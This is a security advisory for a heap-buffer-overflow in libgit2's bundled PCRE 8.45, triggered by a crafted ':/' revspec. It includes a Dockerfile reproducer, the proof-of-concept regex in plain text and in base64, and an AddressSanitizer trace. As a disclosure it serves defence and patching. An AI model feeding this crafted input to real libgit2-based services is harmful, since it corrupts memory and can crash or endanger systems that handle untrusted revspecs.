Skip to content

GHSA-wfx7-g85r-q6vw

CVE Information

Summary

git_revparse_single accepts revspecs of the form :/<pattern> (the "grep by commit message" shorthand) and forwards <pattern> directly to libgit2's regex backend. In libgit2's default configuration (USE_REGEX=builtin, which is also the OSS-Fuzz build configuration), the backend is the in-tree copy of PCRE 8.45 at deps/pcre/.

PCRE 8.45 compiles patterns in two passes: the first pass estimates the size of the output buffer, and the second pass writes the compiled pattern into a malloc'd buffer of that size. For certain patterns — specifically those combining (?J) duplicate names, (?|...) branch-reset, multiple identically-named groups, and a named back-reference — pass 1 under-counts and pass 2 then writes past the end of the allocation. The crash site is compile_branch at deps/pcre/pcre_compile.c:7735 (PUT2(code, 1+LINK_SIZE, cd->bracount)), where the high byte of the 16-bit bracount lands 2 bytes past a 549-byte allocation made at pcre_compile.c:9424.

The bug is real, deterministic, and reachable from libgit2's shipped lg2 example CLI (no fuzz harness needed). Any libgit2 consumer that forwards attacker-influenced strings into a revspec is exposed.

The defect is a known, since-fixed bug class — but the fix lives in PCRE2, not PCRE1

The PCRE 8.45 source ships with an explicit acknowledgement of this bug class in deps/pcre/pcre_compile.c:7346–7367:

"In fact, this can happen for a non-forward reference because another group with the same number might be created later. This issue is fixed 'properly' in PCRE2. As PCRE1 is now in maintenance only mode, we finesse the bug by allowing more memory always."

The "properly" fix in PCRE2 is commit c9ac9e23eca596b44468ef414d70347822a010b3"Refactor named group handling by adding a pre-pass that generates a list of named groups with their numbers before the rest of the compiling code is run. This has simplified the main compiling code and removed some sources of error." (Philip Hazel, 2015). The refactor is structural and was not back-ported to PCRE 8.x; it shipped in PCRE2 10.20 and every PCRE2 release since.

Reproducer

Direct shipped lg2 (bundled libgit2 example CLI). The Dockerfile is fully self-contained — the 196-byte PoC revspec is embedded inline as base64, no build-context files are needed.

docker build -t libgit2-pcre-poc -f docker/Dockerfile.u24 .
docker run --rm libgit2-pcre-poc

The Dockerfile clones libgit2 at HEAD with --depth 1 (the resolved SHA is echoed during the build for traceability), builds with -fsanitize=address and USE_REGEX=builtin (default), and runs lg2 rev-parse "$(cat /tmp/poc)" against a freshly-initialised repository.

Observed crash (ASAN, RelWithDebInfo, libgit2 HEAD)

==8==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x...02a7
WRITE of size 1 at 0x...02a7 thread T0
    #0  compile_branch                deps/pcre/pcre_compile.c:7735
    #1  compile_regex                  deps/pcre/pcre_compile.c:8413
    #2  compile_branch                 deps/pcre/pcre_compile.c:7774
    #3  compile_regex                  deps/pcre/pcre_compile.c:8413
    #4  pcre_compile2                  deps/pcre/pcre_compile.c:9502
    #5  git_regexp_compile             src/util/regexp.c:20
    #6  build_regex                    src/libgit2/revparse.c:61
    #7  handle_grep_syntax             src/libgit2/revparse.c:508
    #8  revparse                       src/libgit2/revparse.c:784
    #9  git_revparse_ext               src/libgit2/revparse.c:874
    #10 git_revparse_single            src/libgit2/revparse.c:897
    #11 git_revparse                   src/libgit2/revparse.c:969
    #12 parse_revision                 examples/rev-parse.c:70
    #13 lg2_rev_parse                  examples/rev-parse.c:32
    #14 run_command                    examples/lg2.c:47
    #15 main                           examples/lg2.c:114

0x...02a7 is located 2 bytes after 549-byte region
allocated by thread T0 here:
    #0 malloc
    #1 pcre_compile2                   deps/pcre/pcre_compile.c:9424
    ...
    #14 main                           examples/lg2.c:114

The PoC revspec is:

:/(?J)(?|((((((((((((((((((((\k<B>))))))))))))))))))))|(?<B>x)(?<B>x)(?<B>x)(?<B>x)(?<B>x)(?<B>x)(?<B>x)(?<B>x)(?<B>x)(?<B>x)(?<B>x)(?<B>x)(?<B>x)(?<B>x)(?<B>x)(?<B>x)(?<B>x)(?<B>x)(?<B>x)(?<B>x))

The full Dockerfile is as follows:

FROM ubuntu:24.04
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && apt-get install -y --no-install-recommends \
        ca-certificates git make cmake pkg-config \
        clang libclang-rt-18-dev llvm-18 libc6-dev libssl-dev zlib1g-dev \
    && rm -rf /var/lib/apt/lists/*

ENV CC=clang
ENV CXX=clang++
ENV CFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address -fsanitize-address-use-after-scope"
ENV CXXFLAGS="$CFLAGS"
ENV LDFLAGS="-fsanitize=address"

# Clone libgit2 at latest HEAD (no pinned commit). The resolved SHA is
# printed below for traceability — capture it from the build log.
WORKDIR /src
RUN git clone --depth 1 https://github.com/libgit2/libgit2.git libgit2
WORKDIR /src/libgit2
RUN echo "Built against libgit2 HEAD: $(git rev-parse HEAD) ($(git log -1 --format=%ci HEAD))"

# Build with the bundled PCRE 8.45 (USE_REGEX=builtin)
RUN mkdir build && cd build && \
    cmake .. \
        -DCMAKE_C_COMPILER=clang \
        -DCMAKE_CXX_COMPILER=clang++ \
        -DCMAKE_C_FLAGS="$CFLAGS" \
        -DCMAKE_CXX_FLAGS="$CXXFLAGS" \
        -DCMAKE_EXE_LINKER_FLAGS="$LDFLAGS" \
        -DCMAKE_SHARED_LINKER_FLAGS="$LDFLAGS" \
        -DUSE_REGEX=builtin \
        -DBUILD_SHARED_LIBS=OFF \
        -DBUILD_CLAR=OFF \
        -DBUILD_TESTS=OFF \
        -DBUILD_EXAMPLES=ON \
        -DUSE_HTTPS=OFF \
        -DUSE_AUTH_NTLM=OFF \
        -DUSE_SSH=OFF \
        -DUSE_BUNDLED_ZLIB=ON && \
    make -j"$(nproc)" lg2

# Embed the 196-byte attacker-controlled revspec (PCRE pattern starting with
# `:/(?J)(?|...\k<B>...`) inline as base64 so this Dockerfile is fully
# self-contained and needs no build-context files.
RUN echo 'Oi8oP0opKD98KCgoKCgoKCgoKCgoKCgoKCgoKChcazxCPikpKSkpKSkpKSkpKSkpKSkpKSkpfCg/PEI+eCkoPzxCPngpKD88Qj54KSg/PEI+eCkoPzxCPngpKD88Qj54KSg/PEI+eCkoPzxCPngpKD88Qj54KSg/PEI+eCkoPzxCPngpKD88Qj54KSg/PEI+eCkoPzxCPngpKD88Qj54KSg/PEI+eCkoPzxCPngpKD88Qj54KSg/PEI+eCkoPzxCPngpKQ==' \
    | base64 -d > /tmp/poc

# Initialise a tiny repository so lg2 rev-parse has something to parse.
RUN /src/libgit2/build/examples/lg2 init /tmp/repo && \
    cd /tmp/repo && \
    git -c user.email=a@a -c user.name=a commit --allow-empty -m init

ENV ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:symbolize=1
ENV ASAN_SYMBOLIZER_PATH=/usr/lib/llvm-18/bin/llvm-symbolizer

# Invoke the canonical libgit2 CLI example (`lg2 rev-parse <spec>`),
# feeding it the attacker-controlled revspec verbatim. The revspec is
# read from /tmp/poc to avoid shell-quoting hazards.
CMD ["/bin/sh", "-c", "cd /tmp/repo && /src/libgit2/build/examples/lg2 rev-parse \"$(cat /tmp/poc)\" 2>&1; echo EXIT=$?"]

Attribution

Please attribute Claude and Ada Logics. This issue was found by Anthropic from using agents to study security of open source projects, and I am from Ada Logics helping validate the found issues and report to maintainers.